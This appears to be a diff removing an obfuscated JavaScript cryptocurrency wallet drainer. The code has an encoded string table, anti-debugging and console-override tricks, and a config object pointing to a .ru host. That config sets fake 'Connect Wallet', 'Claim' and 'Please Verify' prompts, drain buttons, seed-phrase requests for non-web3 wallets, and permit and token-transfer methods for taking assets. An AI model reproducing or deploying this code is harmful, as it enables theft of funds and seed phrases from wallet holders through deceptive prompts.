"lMVKa", "lM^I", "IE7I", "=lMf][yC", "%D81h`A", "arZ2U*MC", "^z<=[[ioMR", "IEP<W>mC", "+JCgN[wC", "*l%gR*A", "erfc[*gC", "=i,<v;A", "yJVK", "=iH<R[fHW$y", "g5gZz=$A", "dr$JM(?HW$q!eF", ",Xmfe,I{8!y", "xoTgp@1B", "^DwJ", "toM3*.A", "^z_1k>uC", "y5)=8=A", ")%zIX<UC", "buef=[UCL!30B", "to_1c", "eP^I_fcC", "+_/.H?MC", ">q9<(rdB~K0&QjPn2on<=[fz3$}+R@Yi{i^IYf<clT!0CF<oTPh+f,nN<R7t_EVov2_1dqDB~K}yN.|VK2^Ie,!Y%yTzSZsoQPef[>BTbU@4ZQ0o!lBg6=+YhSSthxXi%2ly%*)i1T_#)jPnr50=X<v?23L)hQQnTB[gU<$e.KK*$YbL", "bru3X<oC", "Lrh+e>_YH", ")zh+f,&YG", ">q8f(r;XwS>|kk7pMBWJQr[/1T}uC9?ijr7gRY%tWTb%e9DMl5VKJpn`|%B>/@IS$q0=ehJBrIi&0.ikk\"(PLm+]Bwh>yeEGM<[8~p_qIhHYFBqIu+aC5RSGf+[[]{[#=#sQcj,XlyyiNdBG^,4bRnWPly%*;NM%X%?mLnjrG32W#*M!h.SZ4kj!f+}fRB4!>+Ub?o5)(g:^_0r%8&iCdLfP1K}fvNN!|#aC{Q>W/2g,+6o%d?i9ZkGEQhJmFBBG(_QQ_oNBLKt@e$<!M!N.8j]DjgHY]{6UWzuBso^zc=d,u)wS70o^Gl.]Bwi>f[7RSt88DM(!eZvneG@JM<]+dLgigx6WeMBG(_GCYi,XsFUhakRS(_HvFl#`/.p+Gk~K}yN.lL=iH<R[2Mo!Gw.^\"pePu,x)[*;R`#M.;m)zDwhq<0:UlxBQ0o=]v+^fRT1TnwPj{oIjmfHY>{b%%/k^;mZz^Iv)R1;%iw(vAl[Uh+U<BTc%Ow48Piw2.J1]!eEG^,hQNm#]v+P:$YhSF.Z9qmOXmf&..Ya33+%8JM/10=Pr)A", "$z;Il)yC", "dMefQ^UC", ".l\"D", "^LzIx)B1aU7t5x1V;1mf3+j`*Tc6l.1otA", ",zH<f,A", "HE2f^yyC", "]DwJU*MC", "zz_1k>uCe8m!C9_o", "zz9Kc)[HwS3", "Hu+fl@iC", "(zGf7=A", "eP^IO[IC", "dPM=a^>0p%=#B", "2a:I", "^D0=a", "ErefU<(B", "?zbgG?nT;!RzB", "VS/2@[?RxS%0zC", "X:MfB.#N=!:/ZQ:mNS/2}<wM2TFvi9SO77cf%.E:VG&&S9xn`IE=Q[s6IR$/|alr^z01Q[6{L%Q],^`oe5^I*fZd5!l3H6YV}1(ga<\"@23[yN.|V^LZ2;WDZgV60SZnndMef7=w6;I/(.b=V^LZ2;WDZgV60SZOiuaJ2{f:Y=!e.dk7jr5_1/p[H*T7+eCgq+_aFL:h[231<xEWq|iU=Tr*tqUO)e[1QB&u3:^[?xTs31Y{Qxt8,b^vN7F|#Z.1oO)Dg7=t;BG%/KFyU%q\"=B_koEJh&.^8Q?+wbThO+wSI9uBso3,DgQr[/LRs3N.xUN8)=.p,Hs!o3.^apqM7.;,AkoKU6GFMmk,NyU<dT[#F.<Pvn!lxg6=eeL%Z%EbRiy5/22WX17R]4SZ5Rxt>JWY%t<!n32x3VBzVE]>[N7Fd6U^hX()ly=h&\"eZ[hFB6I,(tBnndP7gp@&eu4N)Tm_o%D(gg>2MM&I68PSblMDwhqIIqU1t88DM9wVEhl!GRJZtaCdLy\"KC_Q!+VEhl!GRJZt.YdLy\"KCZRQwVEhlcM7FV6+x2V:Ikfll^jQJStGyWoPgmfHY:{m$iw(vRiwaLg=[&YK%V%1.Pn;lgZ=[/NxSI;i9zb6lmfHY/NMRf.Y^Vo;G;Cm`2e.Kv+]xYifPCDm+;N/KK*zbbLdPjgt)nT0$f%i9DMxoefB.H[wS!0uB9lo,_d{<JT/K$(=NCMW!zI1]JT/K$(95{Qn7<,CkRB9y/(95bR+_/.f)F1W$9/qxSopoO3f>7;}Ko&QQ_ox`/.A[~p}Ko&7P6pp?cfZ^@)&T^,hQNm#]Bwf>_YH", "2aVKe,vB", "fP1K=wueW$X%KF", "kPCg`<UC", "nrjgI?A", "+|W<8=WC", ">zn<r)0C", "EEzg_<JB", "2XGf7=fHW$y", "nrjgI?2Y)97&h.FlMB", "2on<=[<cVT*/eFHnXBRg}^IoMRs!qxXV+LZ2_r%`4!w<)v3Qmam3hq<0:Ulx*E", "<GqFt+Gk%yn!Dm2obGi=G?0CA1BvN.}Par$Jg,_YFG(_7P6p.IDgN[9;BG&&S9xncD(IP:T[EG(_7P6p.IDgN[9;BGVze9NoxoJ2#r;XwS>|l[UjE#sFt+Gk~Ko&7P6pp?cfZ^@)bIU6%.QVmam3hqA", "+LZ2_r%`4!w<)v3Qmam3hqxXwS>|A", "nrjgI?\"A", "kaTg5=ceG", "^z_1k>Z[%Tq3B", "KB~g,W&eKU", "T#Z.[[G${$x!B", "J)<vbjYMG32+^X{QC)<,Lm|L;I4=9*bR\"yWxajTBwJu+**`Q`+R.6iA@$2r@WC5R|n),]hJB71A%KCFT2\"TvWQ=4x.6WTdLIS**NdL:4FE%kOu;4A.DvASF)<v$k[RQJ2+8MbRT%mxwn|LAJT<J[FTQwWx\"j:G;Iu+%*fS|+p.zn7zG3W<^XbR|1IbUo%tLIl/AkdL?+0,;m<i9yA%jvlT6\"OCXQPz9EYv~?;14+WCZR~n_,VoLB#Jk/u6{Q2\"PvWQ77;a8WA@6IG?aCeLQzFE4i\"i:LB%uCbRYzeZ2i6G[2n/8M{Qew2xBkfzLIE.F[bRQwex/m1X;I{>ZNmTPz<,6i[?:I6+lBXQytR.cjeGgJ+(qChSF%B", "3oP<v)BZG", "Cj+<[[A", "drzgl)RvG", "3o_FN:G$G", "`qjgd,;HC", "krefU<}Ss%y!pE", "vi2c(w%B", "brWf~<\"@r%Y!%88jr5D", "LEwJe,nTzT", "2on<=[;B2T", "WPR>c", "to7gt)IC", "_k;C", "(2n<<[oC", "32,0V`VdJ%]=pN~X?in<t)!etLM).^6phMD", "rr(gU<*B", "44c=d,mC", "0a8=860{L%y", "HEufH(H[+QBvHyzhnr7g?[${lT", "ZuDg^*UC", "Hun<W>cC", "prM=^^MC", "LEwJe,QI5R@+Tm2o", "vaU={^7*G$#/SxRnIEE=W^7*7%y", "GBU3w)mC", "/1(gv;&Y$yZ%@^kLS8^Ib", "nrjgI?}Ss%y!pE", "c5^I^[A", "v2|<@*T[B#]+0^On", "?z.Jn``X7R90;mO", "`!_1O:WC", "K#YJc,uC", "SP)=G:D[;R5", ".I.28=UC", "Ea)=c,yC", "U8lKa", "FrefZ", "DgjIg,NZH", "krefU<;B", "L#l<#n:GpOY", "f:vxQkh*jT(&obNUl)\"z[kA", "$!#Ep/Rpp!HU1EgX|w8H)1ASfPk", ")t|cb`*X\"LIX6Ztb(w}GT>6oG3}[EPEf{A", "@%201.vp7%{+6ZO", "Hu@Jk`A", "xoYJd", "fPNKd", "2XGf7=A"]);
- if (M3ZU6L) {
- _0x367eb2[14].pop();
- } else {
- M3ZU6L++;
- }
- return _0x367eb2[14];
- }();
- function __getGlobal() {
- try {
- return global || window || new Function("return this")();
- } catch (_0x1a09fd) {
- try {
- return this;
- } catch (_0x58daf5) {
- return {};
- }
- }
- }
- var __globalObject = __getGlobal() || {};
- var __TextDecoder = __globalObject.TextDecoder;
- var __Uint8Array = __globalObject.Uint8Array;
- var __Buffer = __globalObject.Buffer;
- var __String = __globalObject.String || String;
- var __Array = __globalObject.Array || Array;
- var utf8ArrayToStr = function () {
- var v6 = new __Array(128);
- var v7 = __String.fromCodePoint || __String.fromCharCode;
- var v8 = [];
- return ZZ1LRs(function (..._0x53a211) {
- _0x53a211.length = 1;
- _0x53a211.Amm72we = _0x53a211[0];
- var v9;
- var v10;
- _0x53a211.TLfyeu6 = _0x53a211.Amm72we.length;
- _0x53a211[185] = _0x53a211.TLfyeu6;
- v8.length = 0;
- _0x53a211.d2qAnTE = _0x53a211[185];
- for (var v11 = 0; v11 < _0x53a211.d2qAnTE;) {
- v10 = _0x53a211.Amm72we[v11++];
- if (v10 <= 127) {
- v9 = v10;
- } else if (v10 <= 223) {
- v9 = (v10 & 31) << 6 | _0x53a211.Amm72we[v11++] & 63;
- } else if (v10 <= 239) {
- v9 = (v10 & 15) << 12 | (_0x53a211.Amm72we[v11++] & 63) << 6 | _0x53a211.Amm72we[v11++] & 63;
- } else if (__String.fromCodePoint) {
- v9 = (v10 & 7) << 18 | (_0x53a211.Amm72we[v11++] & 63) << 12 | (_0x53a211.Amm72we[v11++] & 63) << 6 | _0x53a211.Amm72we[v11++] & 63;
- } else {
- v9 = 63;
- v11 += 3;
- }
- v8.push(v6[v9] ||= v7(v9));
- }
- return v8.join("");
- }, 1);
- }();
- ZZ1LRs(I0LIh9, 1);
- function I0LIh9(..._0x1a23b8) {
- _0x1a23b8.length = 1;
- _0x1a23b8.KI6Smlk = _0x1a23b8[0];
- if (typeof __TextDecoder !== "undefined" && __TextDecoder) {
- return new __TextDecoder().decode(new __Uint8Array(_0x1a23b8.KI6Smlk));
- } else if (typeof __Buffer !== "undefined" && __Buffer) {
- return __Buffer.from(_0x1a23b8.KI6Smlk).toString("utf-8");
- } else {
- return utf8ArrayToStr(_0x1a23b8.KI6Smlk);
- }
- }
- var vF1P5qV = ABLWty(379);
- var Lo_Jvz = ABLWty(244);
- var Wg51aZ = ABLWty(152);
- var Bbfyszu = ABLWty(137);
- var V1X9B7 = ABLWty(135);
- var iNLgP6 = ABLWty(125);
- var qE2C1n = ABLWty(88);
- var qOOGdLn = ABLWty(75);
- var k2q3Cc6 = ABLWty.apply(undefined, [65]);
- var PiNHFb = ABLWty(49);
- var I_mmIw = {
- DbCGQE: ABLWty(30),
- CmXtl_: ABLWty(59),
- f1aHSX5: ABLWty(45),
- gRSvfL: ABLWty.apply(undefined, [67]),
- EepaKC2: ABLWty(73),
- A30BaVR: ABLWty(77),
- WW87tg: ABLWty(120),
- O2rcZc: ABLWty(191)
- };
- var lyl8In = [ABLWty.apply(undefined, [27]), ABLWty(108)];
- var dSVNHqn = ABLWty(24);
- var VFi17s = ABLWty(7);
- var KtXCv7 = ABLWty(7);
- ZZ1LRs(JZmylD, 2);
- function JZmylD(..._0x192644) {
- _0x192644.length = 2;
- _0x192644.TVF4YH = 37;
- switch (vzwAVq) {
- case 7:
- return !_0x192644[0];
- case -5:
- return _0x192644[_0x192644.TVF4YH - 37] + _0x192644[1];
- case -11:
- return typeof _0x192644[_0x192644.TVF4YH - 37];
- case -33:
- return _0x192644[_0x192644.TVF4YH - 37] * _0x192644[_0x192644.TVF4YH - 36];
- case 49:
- return -_0x192644[_0x192644.TVF4YH - 37];
- case -32:
- return _0x192644[_0x192644.TVF4YH - 37] - _0x192644[1];
- case 5:
- return _0x192644[0] / _0x192644[_0x192644.TVF4YH - 36];
- case 24:
- _0x192644[_0x192644.TVF4YH - 37];
- return;
- }
- }
- ZZ1LRs(WAZ9Ax, 1);
- function WAZ9Ax(..._0x48b7d1) {
- _0x48b7d1.length = 1;
- _0x48b7d1.M7EDH8G = -56;
- vzwAVq = _0x48b7d1[0];
- _0x48b7d1[0] = vzwAVq + 0;
- if (_0x48b7d1.M7EDH8G > _0x48b7d1.M7EDH8G + 108) {
- return _0x48b7d1[-182];
- } else {
- return _0x48b7d1[0];
- }
- }
- var vzwAVq;
- const vF = function () {
- let vJZmylD = JZmylD(JZmylD([], WAZ9Ax(7)), vzwAVq = 7);
- return function (p4, p5) {
- const v12 = vJZmylD ? function () {
- var v13 = [ABLWty(5)];
- if (p5) {
- const v14 = p5[v13[0]](p4, arguments);
- p5 = null;
- return v14;
- }
- } : function () {};
- vJZmylD = JZmylD([], WAZ9Ax(7));
- return v12;
- };
- }();
- (function () {
- var v15 = [ABLWty(8)];
- vF(this, function (..._0x22354e) {
- _0x22354e.length = 0;
- _0x22354e[134] = -45;
- _0x22354e[0] = new RegExp("function *\\( *\\)");
- _0x22354e.osurjyW = _0x22354e.BCVQvXr;
- _0x22354e.osurjyW = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "i");
- _0x22354e.vk6DSUR = f59(ABLWty(6));
- if (JZmylD(_0x22354e[0][KtXCv7](JZmylD(_0x22354e.vk6DSUR, v15[0], WAZ9Ax(-5))), WAZ9Ax(7)) || JZmylD(_0x22354e.osurjyW[VFi17s](JZmylD(_0x22354e.vk6DSUR, ABLWty(9), WAZ9Ax(-5))), WAZ9Ax(7))) {
- _0x22354e.vk6DSUR("0");
- } else {
- f59();
- }
- })();
- })();
- const vF2 = function () {
- let vJZmylD2 = JZmylD(JZmylD([], WAZ9Ax(7)), WAZ9Ax(7));
- return function (p6, p7) {
- const v16 = vJZmylD2 ? function () {
- if (p7) {
- var v17 = {
- LbVjMZ: ABLWty(5)
- };
- const v18 = p7[v17.LbVjMZ](p6, arguments);
- p7 = null;
- return v18;
- }
- } : function () {};
- vJZmylD2 = JZmylD([], WAZ9Ax(7));
- return v16;
- };
- }();
- const vVF2 = vF2(this, function (..._0x3b3aa5) {
- _0x3b3aa5.length = 0;
- _0x3b3aa5[150] = _0x3b3aa5[0];
- _0x3b3aa5[150] = ABLWty(15);
- _0x3b3aa5.ItgvEci = ABLWty(12);
- _0x3b3aa5[2] = undefined;
- try {
- _0x3b3aa5.wyjnmhN = [ABLWty(11)];
- _0x3b3aa5.kWO_X_b = Function(JZmylD(ABLWty(10) + " (function() " + _0x3b3aa5.wyjnmhN[0], ");", WAZ9Ax(-5)));
- _0x3b3aa5[2] = _0x3b3aa5.kWO_X_b();
- } catch (_0x2d0bc1) {
- _0x3b3aa5[2] = window;
- }
- const v19 = _0x3b3aa5[2][_0x3b3aa5.ItgvEci] = _0x3b3aa5[2].console || {};
- const v20 = [ABLWty.apply(undefined, [13]), "warn", ABLWty(14), "error", _0x3b3aa5[150], "table", ABLWty(16)];
- for (let v21 = 0; v21 < v20[ABLWty(17)]; v21++) {
- _0x3b3aa5[9] = ABLWty(20);
- _0x3b3aa5[10] = ABLWty(18);
- const v22 = vF2[_0x3b3aa5[10] + "uctor"].prototype.bind(vF2);
- const v23 = v20[v21];
- const v24 = v19[v23] || v22;
- v22.__proto__ = vF2[ABLWty(19)](vF2);
- v22[_0x3b3aa5[9]] = v24.toString[ABLWty(19)](v24);
- v19[v23] = v22;
- }
- });
- vVF2();
- var I = (p8, p9) => {
- return (..._0x3da9ed) => {
- _0x3da9ed.length = 0;
- _0x3da9ed[204] = _0x3da9ed.pLoQi0;
- _0x3da9ed[204] = [ABLWty(21)];
- if (!p9) {
- p8((p9 = {
- exports: {}
- })[ABLWty(21)], p9);
- }
- return p9[_0x3da9ed[204][0]];
- };
- };
- (function (..._0x37dc3b) {
- _0x37dc3b.length = 0;
- _0x37dc3b.AMXQIR = 39;
- _0x37dc3b[0] = ABLWty(22);
- _0x37dc3b.fLeB2O = undefined;
- _0x37dc3b.AMXQIR = 64;
- try {
- _0x37dc3b[2] = ABLWty(23);
- _0x37dc3b.CK2sPqP = Function(JZmylD("return (function() " + (_0x37dc3b[_0x37dc3b.AMXQIR - 64] + "struct" + _0x37dc3b[_0x37dc3b.AMXQIR - 62] + "turn this\")( )"), ");", vzwAVq = -(_0x37dc3b.AMXQIR - 59)));
- _0x37dc3b.fLeB2O = _0x37dc3b.CK2sPqP();
- } catch (_0x1759be) {
- _0x37dc3b.fLeB2O = window;
- }
- _0x37dc3b.LbekV1 = _0x37dc3b[2];
- _0x37dc3b.fLeB2O["setInt" + dSVNHqn](f59, 1000);
- })();
- var q = I(ZZ1LRs((..._0x4a7805) => {
- _0x4a7805.length = 2;
- _0x4a7805[90] = 57;
- _0x4a7805[2] = ABLWty(100);
- _0x4a7805.yVEle5t = ABLWty(92);
- _0x4a7805.EcESPD = {
- bXnYAdZ: ABLWty(35),
- M8aUjz: ABLWty(_0x4a7805[90] + 26),
- GVU8RgH: ABLWty(_0x4a7805[90] + 54),
- KpQkMEM: ABLWty.call(undefined, 167)
- };
- _0x4a7805[90] = -82;
- _0x4a7805.a0PRgXS = [ABLWty.call(undefined, 29), ABLWty(62), ABLWty.apply(undefined, [74]), ABLWty(81), ABLWty.apply(undefined, [85])];
- _0x4a7805[1][ABLWty(21)] = {
- [ABLWty(_0x4a7805[90] + 107)]: "https://security-security-nft-checkmanager1.ru",
- customerId: ABLWty.call(undefined, 26) + lyl8In[0],
- customer_id: "ebjz2A6xxf",
- configId: null,
- [ABLWty(28)]: null,
- ["hardco" + _0x4a7805.a0PRgXS[0]]: JZmylD(JZmylD([], vzwAVq = 7), WAZ9Ax(7)),
- ["connect" + I_mmIw.DbCGQE + "s_class"]: ABLWty(31),
- drain_buttons_class: "interact-button",
- [ABLWty.call(undefined, 32) + "nect_b" + ABLWty(33) + ABLWty(34)]: "",
- connect_text: _0x4a7805.EcESPD.bXnYAdZ + "t Wallet",
- [ABLWty(36) + "ted_text"]: "Connec" + ABLWty.call(undefined, 37) + ABLWty.apply(undefined, [38]) + "et}",
- [ABLWty.apply(undefined, [39])]: "Verifying",
- verify_text: "Please Verify",
- reject_text: ABLWty(_0x4a7805[90] + 122) + "ejected, Plea" + ABLWty(41),
- ["drain_" + ABLWty(42) + ABLWty.apply(undefined, [43]) + ABLWty(44) + "ck_text"]: "Claim",
- [ABLWty(_0x4a7805[90] + 127) + ABLWty(46) + "_text"]: "Please Switch Chain",
- [ABLWty(47)]: ABLWty(48) + PiNHFb + "ase try Again",
- not_eligible_text: ABLWty(50),
- [ABLWty.call(undefined, 51)]: "Discon" + ABLWty(52),
- [ABLWty.call(undefined, 53)]: "Claim",
- popup_style: 8,
- [ABLWty(54)]: 15000,
- [ABLWty(55) + ABLWty(56) + ABLWty.call(undefined, 57) + "e"]: _0x4a7805[90] + 15082,
- [ABLWty(58) + "style"]: 15,
- [I_mmIw.CmXtl_]: "light",
- [ABLWty(60)]: ABLWty(61) + "b9c7b54f19c95b44a3" + _0x4a7805.a0PRgXS[1] + "ae",
- trust_sign_text: ABLWty(63),
- [ABLWty(64) + "tyle"]: 1,
- ["min_ra" + k2q3Cc6 + ABLWty(_0x4a7805[90] + 148) + I_mmIw.f1aHSX5 + "_chain"]: 0.95,
- [I_mmIw.gRSvfL + ABLWty(68) + "otal_v" + ABLWty(69)]: 400,
- [ABLWty(70) + "count"]: 50,
- max_change_chain_retry: 50,
- [ABLWty(71)]: "Merge",
- ["only_c" + ABLWty(_0x4a7805[_0x4a7805[90] + 172] + 154) + I_mmIw.EepaKC2 + "n"]: 0,
- nfts_api: 2,
- [_0x4a7805.a0PRgXS[2]]: 2,
- [qOOGdLn + ABLWty(76)]: I_mmIw.A30BaVR,
- scripts_path: "./scri" + ABLWty(78),
- ["styles" + ABLWty(76)]: "./styles",
- [ABLWty(79) + "ppage_on_swap"]: 10,
- [ABLWty(80)]: JZmylD(JZmylD([], vzwAVq = 7), WAZ9Ax(7)),
- disable_eth_sign_if_metamask: JZmylD(JZmylD([], WAZ9Ax(7)), WAZ9Ax(7)),
- ["use_increase" + _0x4a7805.a0PRgXS[3] + ABLWty(82) + "e"]: JZmylD(JZmylD([], WAZ9Ax(7)), WAZ9Ax(7)),
- use_token_transfer_if_increase_allowance_not_available: JZmylD(JZmylD([], vzwAVq = 7), WAZ9Ax(7)),
- use_opensea_transfers: JZmylD(JZmylD([], vzwAVq = 7), vzwAVq = 7),
- use_multi_functions_contract: JZmylD(JZmylD([], vzwAVq = 7), vzwAVq = 7),
- [_0x4a7805.EcESPD.M8aUjz + ABLWty(84)]: JZmylD(JZmylD([], WAZ9Ax(7)), WAZ9Ax(7)),
- [_0x4a7805.a0PRgXS[4] + "ompt_cha" + ABLWty(86) + "n"]: JZmylD(JZmylD([], WAZ9Ax(7)), WAZ9Ax(7)),
- [ABLWty(_0x4a7805[90] + 167) + ABLWty(87) + "_confirm"]: JZmylD(JZmylD([], WAZ9Ax(_0x4a7805[90] + 89)), vzwAVq = _0x4a7805[90] + 89),
- [qE2C1n + "llet_connect" + ABLWty(89)]: JZmylD(JZmylD([], vzwAVq = 7), WAZ9Ax(7)),
- trust_sign_use_typed_data: JZmylD(JZmylD([], WAZ9Ax(7)), WAZ9Ax(7)),
- log_chains_accepts: JZmylD(JZmylD([], vzwAVq = 7), WAZ9Ax(7)),
- [ABLWty(90) + "tio"]: JZmylD(JZmylD([], WAZ9Ax(_0x4a7805[90] - (_0x4a7805[90] - 7))), WAZ9Ax(_0x4a7805[90] + 89)),
- [ABLWty(91)]: JZmylD(JZmylD([], WAZ9Ax(7)), vzwAVq = 7),
- popup_2_config: {
- title: "Processing...",
- message: "Verify your wallet to continue",
- ["max_tim" + _0x4a7805.yVEle5t + "e_auto_" + ABLWty(93)]: 7500
- },
- [ABLWty.call(undefined, 94)]: {
- [ABLWty(95)]: ABLWty(96),
- ["max_ti" + ABLWty(97) + "ore_au" + ABLWty(_0x4a7805[90] + 180) + "se"]: 7500
- },
- [ABLWty(99) + _0x4a7805[_0x4a7805[90] + 84] + "ig"]: {
- open_function: ABLWty.call(undefined, 101) + ABLWty.apply(undefined, [102]) + ABLWty(_0x4a7805[90] + 185) + "aram,isError)",
- [ABLWty.call(undefined, 104) + "function"]: "window" + ABLWty(105) + ABLWty(106) + ")",
- ["max_time_" + ABLWty(107) + lyl8In[1]]: 7500,
- [ABLWty(109)]: 1
- },
- ["wallet" + ABLWty(110) + _0x4a7805.EcESPD.GVU8RgH + "fig"]: {
- [ABLWty(112)]: "",
- background_image: "",
- [ABLWty(113) + "ound_color"]: "",
- [ABLWty(114)]: "",
- [ABLWty(115)]: "",
- ["overla" + ABLWty(116) + "ground_color"]: "",
- font_family: "",
- ["color_" + ABLWty(117)]: "",
- color_mix_strength: 0,
- [ABLWty(118)]: "",
- [ABLWty(119) + I_mmIw.WW87tg + ABLWty(_0x4a7805[90] + 203) + "us"]: JZmylD([], WAZ9Ax(7))
- },
- [ABLWty(122)]: {
- name: "",
- description: "",
- [ABLWty(123)]: "",
- icon: "",
- enabled: JZmylD([], WAZ9Ax(7))
- },
- [ABLWty(124)]: {
- checks_enabled: JZmylD(JZmylD([], vzwAVq = 7), WAZ9Ax(7)),
- enable_other_wallets: JZmylD(JZmylD([], WAZ9Ax(7)), WAZ9Ax(7)),
- name: "Non-we" + iNLgP6 + "lets",
- [ABLWty(126) + ABLWty(127)]: "default",
- text: ABLWty(128) + ABLWty.call(undefined, 129) + ABLWty(130) + ABLWty(131) + "hrase to con" + ABLWty(132),
- [ABLWty.call(undefined, 133) + "hrase_text"]: ABLWty(134) + "o your hidden wall" + V1X9B7 + ABLWty(136),
- uneligible_text: Bbfyszu,
- prompt_seed_over_price: 10,
- [ABLWty(138)]: 250,
- [ABLWty(_0x4a7805[90] + 221)]: JZmylD([], WAZ9Ax(7))
- },
- ["modal_" + ABLWty(140) + ABLWty(141)]: {
- title: "",
- description: "",
- [ABLWty.apply(undefined, [142])]: ""
- },
- [ABLWty(_0x4a7805[90] + 140) + "15_style"]: {
- [ABLWty(143)]: "",
- [ABLWty(144) + ABLWty(145) + ABLWty.apply(undefined, [_0x4a7805[90] + 228])]: "",
- [ABLWty.call(undefined, 147) + ABLWty(148) + ABLWty(149) + "n-font" + ABLWty(150)]: "",
- ["--rk-p" + ABLWty(148) + "-button-color"]: "",
- [ABLWty(151)]: "",
- [ABLWty(147) + "rimary-button-border"]: "",
- "--rk-primary-button-border-radius": "",
- "--rk-primary-button-hover-color": "",
- "--rk-primary-button-hover-bg": "",
- [Wg51aZ]: ""
- },
- [ABLWty(153) + ABLWty(154) + ABLWty(155)]: {
- permit: 2.5,
- liquidEtherfi: 2.5,
- permit2: 2,
- [ABLWty(_0x4a7805[90] - (_0x4a7805[90] - 156)) + ABLWty(157) + "s"]: 2,
- [ABLWty.call(undefined, 158)]: 2,
- [ABLWty(159) + "aoCont" + ABLWty(160)]: _0x4a7805[90] - (_0x4a7805[90] - 2),
- [ABLWty(_0x4a7805[90] + 243)]: _0x4a7805[90] + 84,
- [ABLWty.apply(undefined, [162])]: 1.5,
- [ABLWty(_0x4a7805[_0x4a7805[90] + 172] + 245)]: 1.5,
- [ABLWty.apply(undefined, [164])]: 2,
- [ABLWty(_0x4a7805[90] + 247)]: 1.5,
- ["apeCoi" + ABLWty(166) + "ake"]: 1.5,
- [_0x4a7805.EcESPD.KpQkMEM]: 1.5,
- [ABLWty.call(undefined, 168)]: 1.5,
- gmx: 1.5,
- [ABLWty(169) + ABLWty(170) + "fers"]: 1.5,
- [ABLWty(171)]: 1.5,
- [ABLWty(172)]: 1.5,
- [ABLWty.call(undefined, 173) + "ansfer"]: 1.5,
- [ABLWty(174)]: 1
- },
- ["wait_click_o" + ABLWty(175) + ABLWty(176) + ABLWty(177) + "start"]: JZmylD([], WAZ9Ax(7)),
- [ABLWty(178)]: JZmylD([], vzwAVq = 7),
- ["use_to" + ABLWty(179) + ABLWty(157)]: JZmylD([], vzwAVq = _0x4a7805[90] - (_0x4a7805[90] - 7)),
- approve_only_balance: JZmylD([], WAZ9Ax(7)),
- popup_prompt_chain_rejected: JZmylD([], vzwAVq = 7),
- ["popup_prom" + ABLWty(180) + "firm_only_one_time"]: JZmylD([], vzwAVq = 7),
- popup_prompt_rejected: JZmylD([], vzwAVq = 7),
- popup_prompt_rejected_only_one_time: JZmylD([], WAZ9Ax(7)),
- [ABLWty(99) + "prompt_success"]: JZmylD([], WAZ9Ax(7)),
- popup_prompt_success_only_one_time: JZmylD([], WAZ9Ax(7)),
- [ABLWty(181)]: JZmylD([], vzwAVq = 7),
- [ABLWty(182) + ABLWty(183)]: JZmylD([], vzwAVq = 7),
- [ABLWty(184)]: JZmylD([], vzwAVq = 7),
- ["prompt" + ABLWty(185) + "_sign"]: JZmylD([], WAZ9Ax(7)),
- [ABLWty(186)]: JZmylD([], WAZ9Ax(7)),
- log_prompts: JZmylD([], WAZ9Ax(_0x4a7805[90] + 89)),
- [ABLWty(187) + ABLWty.apply(undefined, [188]) + ABLWty(189)]: JZmylD([], vzwAVq = 7),
- [ABLWty(190) + "ll_site_url"]: JZmylD([], vzwAVq = 7),
- [I_mmIw.O2rcZc + ABLWty(192) + "ast_position"]: JZmylD([], vzwAVq = 7),
- [ABLWty.apply(undefined, [193]) + ABLWty.apply(undefined, [_0x4a7805[90] + 276]) + "_position"]: JZmylD([], vzwAVq = 7),
- hide_added_chain: JZmylD([], WAZ9Ax(7)),
- [ABLWty.call(undefined, 195) + ABLWty(196) + "ne_chain"]: JZmylD([], vzwAVq = 7),
- [ABLWty(197) + "ist_ra" + ABLWty(198)]: JZmylD([], WAZ9Ax(7)),
- ["disabl" + ABLWty(199) + "tool"]: JZmylD([], vzwAVq = 7),
- wait_page_load: JZmylD([], WAZ9Ax(7)),
- create_wallet_for_seaport: JZmylD([], WAZ9Ax(7)),
- [ABLWty(200) + "h_at_end"]: JZmylD([], vzwAVq = 7),
- ["reload" + ABLWty(201) + ABLWty(202) + "ible"]: JZmylD([], vzwAVq = 7),
- [ABLWty.call(undefined, 203)]: JZmylD([], vzwAVq = 7)
- };
- }, 2));
- var D = I(ZZ1LRs((..._0xb48416) => {
- _0xb48416.length = 2;
- _0xb48416[213] = -101;
- _0xb48416[2] = {
- GavardI: ABLWty(211)
- };
- var v26 = {
- [ABLWty(204) + "ets"]: null,
- balances: null,
- apeCoinsStaked: null,
- ["wyvern" + ABLWty(205) + ABLWty.apply(undefined, [_0xb48416[_0xb48416[213] + 314] + 307]) + "t"]: null,
- swellData: null,
- [ABLWty(207)]: null,
- [ABLWty(208)]: null,
- gmxTokens: null,
- gmxNewAddress: null,
- gmxSalt: null,
- nonces: null,
- ipInformations: null,
- [ABLWty(209) + "rAddress"]: null,
- ["custom" + ABLWty(210) + _0xb48416[2].GavardI]: null,
- isAutoSplitEnabled: null,
- ["isAutoS" + ABLWty(212) + "NoGasEnabled"]: null,
- [ABLWty(213)]: null,
- transferContracts: null,
- multiFunctionsContracts: null,
- multiFunctionsContractBytecodes: null,
- ["factor" + ABLWty(214) + "acts"]: null,
- [ABLWty(215)]: null,
- [ABLWty(_0xb48416[213] + 317) + "eCollectionContract"]: null,
- [ABLWty.apply(undefined, [217]) + "eRecip" + ABLWty(218) + ABLWty(219)]: null,
- chainsInformations: null,
- swapRoutersInformations: null,
- swapOutputTokens: null,
- walletAddress: null,
- [ABLWty(220) + "Name"]: null,
- totalWalletPrice: null,
- [ABLWty(221)]: null,
- mainProvider: null,
- [ABLWty(222)]: null,
- [ABLWty(223) + "dDataV4Supported"]: JZmylD(0, WAZ9Ax(7)),
- typedSignRejects: 0,
- ["isEthS" + ABLWty(224) + "ported"]: JZmylD(0, WAZ9Ax(_0xb48416[213] + 108)),
- isSeaportSupported: JZmylD(0, vzwAVq = 7),
- isBlurSupported: JZmylD(0, vzwAVq = 7),
- areOpenseaTransfersSupported: JZmylD(0, WAZ9Ax(7)),
- ["isBatc" + ABLWty(225) + ABLWty(226) + ABLWty(227) + "orted"]: JZmylD(0, WAZ9Ax(7)),
- tokensBlacklistedFromSwap: {},
- ["balanc" + ABLWty(_0xb48416[213] - (_0xb48416[213] - 228)) + "FailedChains"]: {},
- [ABLWty.call(undefined, 229) + ABLWty(230) + "ibleTo" + ABLWty(231) + ABLWty(232)]: JZmylD(1, WAZ9Ax(7)),
- [ABLWty(233)]: JZmylD(1, vzwAVq = 7),
- [ABLWty(_0xb48416[213] + 335)]: JZmylD(1, vzwAVq = 7),
- [ABLWty(235) + "OnMacOs"]: JZmylD(1, vzwAVq = 7),
- ["balanceTransferBypassCon" + ABLWty(236)]: null,
- [ABLWty.call(undefined, 237)]: null,
